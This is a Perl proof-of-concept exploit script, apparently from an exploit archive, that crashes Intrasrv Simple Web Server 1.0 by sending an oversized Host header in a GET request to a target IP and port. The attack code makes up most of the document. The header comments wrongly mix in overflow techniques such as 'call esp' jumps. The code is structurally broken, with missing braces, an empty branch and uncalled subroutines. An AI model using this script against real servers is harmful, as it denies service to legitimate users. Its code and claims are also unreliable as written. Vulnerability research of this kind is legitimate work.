use IO::Socket;  
# Exploit Title: Intrasrv Simple Web Server 1.0 - Denial of Service (DoS)  
# Discovery by: Fernando Mengali  
# Discovery Date: 09 january 2024  
# Vendor Homepage:  
# Download to demo:  
# Download 2 to demo:  
# Notification vendor: No reported  
# Tested Version: Intrasrv Simple Web Server 1.0  
# Tested on: Window XP Professional - Service Pack 2 and 3 - English  
# Vulnerability Type: Denial of Service (DoS)  
# Vídeo:  
# Vídeo 2:  
#His technique works fine against Windows XP Professional Service Pack 2 and 3 (English).  
#For this exploit I have tried several strategies to increase reliability and performance:  
#Jump to a static 'call esp'  
#Backwards jump to code a known distance from the stack pointer.  
#The server did not properly handle request with large amounts of data via method GET to web server.  
#The following request sends a large amount of data to the web server to process across method GET, the server will crash as soon as it is received and processed, causing denial of service conditions.  
#Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users.  
#2. Proof of Concept - PoC  
my $sis="$^O";  
our $cmd;  
if ($sis eq "windows"){  
} else {  
print "[+] Exploiting... \n";  
my $buffer1 = "\x41"x4674;  
my $buffer2 = "\x41" x 638;  
my $buffer = "GET / HTTP/1.1\r\n";  
$buffer .= "Host: " . $buffer1 . "\r\n";  
$buffer .= "User-Agent: Mozilla/4.0 (Windows XP 5.1)\r\n";  
$buffer .= $buffer2;  
my $one = IO::Socket::INET->new(  
PeerAddr => $ip,  
PeerPort => $port,  
Proto => 'tcp',  
) or die "Could not connect to $ip: $!\n";  
print $one $buffer;  
close $one;  
print "[+] Done - Exploited success!!!!!\n\n";  
sub intro {  
print "********************************************************\n";  
print "* Intrasrv Simple Web Server 1.0 - Denied of Service *\n";  
print "* *\n";  
print "* Coded by Fernando Mengali *\n";  
print "* *\n";  
print "* e-mail: fernando.mengalli\ *\n";  
print "* *\n";  
print "*******************************************************\n";  
sub main {  
our ($ip, $port) = @ARGV;  
unless (defined($ip) && defined($port)) {  
print " \nUsage: $0 <ip> <port> \n";  
#3. Solution/ How to fix:  
# This version product is deprecated